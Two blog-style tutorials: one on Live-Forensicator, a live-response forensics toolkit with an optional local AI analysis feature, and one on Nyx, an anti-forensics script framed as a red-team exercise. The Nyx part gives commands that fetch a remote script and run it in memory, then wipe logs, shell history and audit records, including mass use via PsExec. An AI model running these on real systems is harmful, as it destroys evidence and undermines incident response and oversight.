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Digital Forensics: Analyzing Systems with Live-Forensicator

20 October 2026 at 10:13

Welcome back, dear investigators!

Our main concern in cybersecurity is protecting systems and recovering from cyberattacks quickly. There are different tools out there built for this, and they keep evolving. Our job is to find what fits best in our environment and stick to the best practices laid out by NIST and ISO.

Today we’ll look at Live-Forensicator, a live response toolkit. The tool supports AI integration to process your findings more efficiently, which is a good thing since many of you know how tedious forensic analysis work can be. It’s optional though, and you can always rely on your own knowledge to verify findings.

Setting Up

Let’s download the archive with scripts and see what’s inside. You can find it here.

Live-Forensicator works on Windows, Linux, and macOS. We’ll be testing it on Windows here. Keep in mind, the tool gets flagged by AV because WinPmem, admin PS, and hash walks look suspicious. Use it only if you think it’s appropriate for your environment, or fall back to other tools since we’ve covered many of them on our website.

PS > powershell -ep bypass Forensicator.ps1 -USAGE

Running Scans

Let’s start with some general scans.

You can launch it without any flags and the tool will ask for details after you start it.

PS > .\Forensicator.ps1 

Or give it some case details upfront. They include the operator name, case ID, location and the device name.

PS > .\Forensicator.ps1 -OPERATOR "Jane Doe" -CASE "IR-2026-001" -TITLE "Workstation triage" -LOCATION "Toronto" -DEVICE "LAPTOP-042"

It’ll take some time to go through all the steps. You’ll see the progress on screen.

When the script finishes, the results get saved in the current folder inside a new directory. Go to reports and open index.html.

Here’s the overview page. You can scroll down and jump to different sections of the report.

Below is the Event Log summary with events sorted by category. We see that accounts successfully logged on (Event ID 4624), then someone looked up what groups certain users belong to (Event ID 4798) and the members of security groups were listed (Event ID 4799). Event ID 4688 logs process creation.

You also get a summary to assess the risks quickly.Β In our case it was high and the tool explained why.

Forensicator AI

AI is off by default. When it’s enabled, you get a plain language explanation of the results. For AI to work, you need Ollama running. The model can run locally or sit on a separate host accessible to other machines. Mistral AI models can be used for this work.

# Install Ollama (https://ollama.com) and pull a model
PS > ollama pull mistral:7b-instruct

Then edit the config.json file.

"ai": {
  "enabled": true,
  "provider": "ollama",
  "base_url": "http://localhost:11434",
  "model": "mistral:7b-instruct"
}

There’s no -AI flag. The script reads config.json at startup. When AI is on, each finding gets sent to the model after it’s built. If the model is down, the collection still finishes and that row just has no verdict. In the report, open a finding and use the tooltip labeled AI Analysis. Windows also builds an Investigation Summary with a risk score, a rough timeline, and next steps. This is just a briefing, so don’t treat it as the final verdict. Also, keep in mind that AI makes the run a lot slower since every finding is a real model call.

Here are some screenshots of AI analysis.

Summary

During an incident response time is of the essence, so swiftly scanning your hosts for signs of compromise will save you time. There are different situations and cases that require certain approaches, that’s why knowing how to work with different forensics tools is important. Having AI process your analysis results can be helpful, but it might take some time, unless you have a good GPU for it.

If you’re just getting started in forensics, we recommend our Digital Forensics training, where Master OTW walks you through the techniques to find evidence of criminal activity on a computer or network.

The post Digital Forensics: Analyzing Systems with Live-Forensicator first appeared on Hackers Arise.

Anti-Forensics: Hiding Your Presence with Nyx

3 August 2026 at 10:36

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC.Β 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform.Β 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, ourΒ Anti-ForensicsΒ training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.

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